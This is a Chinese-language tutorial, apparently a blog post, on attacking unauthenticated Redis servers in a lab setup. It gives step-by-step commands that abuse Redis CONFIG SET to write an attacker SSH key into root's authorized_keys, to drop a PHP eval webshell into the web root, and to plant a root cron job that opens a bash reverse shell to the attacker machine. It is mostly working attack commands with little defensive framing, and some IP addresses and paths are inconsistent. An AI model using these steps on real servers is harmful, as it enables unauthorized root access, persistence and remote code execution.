Redis的一些攻击手法整理
Redis基础
1
Redis基础
1
1
实验漏洞环境搭建
模拟服务器centos7.5:192.168.3.134
模拟攻击机kali linux2020:192.168.3.135
两台主机均要安装ssh 这个百度一大堆不在赘述。
攻击机模拟机均安装Redis
之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装
yum -y install redis
编辑redis配置文件
vim /etc/redis.conf
使用配置文件启动redis
redis-server /etc/redis.conf
linux免密码登陆SSH
1.原理
首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆
一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,
另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。
redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。
在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥
mkdir /root/.sh
在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可
会生成两个一个是私钥一个是公钥
ssh-keygen -t rsa
将公钥保存到key中
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt
通过redis将key写入到服务器中
cat key.txt | redis-cli -h 192.168.3.134 -x set hack
连接目标主机的redis
redis-cli -h 192.168.10.153
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh //设置redis的备份路径为/root/.ssh config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys
将数据保存
save
免密码登陆目标服务器
ssh 192.168.3.1
成功免密码登陆
通过Redis在web目录下写入webshell
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)
redis-cli -h 192.168.3.134 //连接目标 config set dir /var/www/html //设置dir的目录 set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中 config set dbfilename webshell.php //设置数据文件为webshell.php save //保存
成功被写入
利用linux定时任务反弹shell
redis-cli -h 192.168.3.134 CONFIG SET dir /var/spool/cron //切换到定时任务目录 CONFIG SET dbfilename root //生成一个root文件 set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell save //保存
Redis基础
1
1
Redis基础
1
1
Redis基础
1
1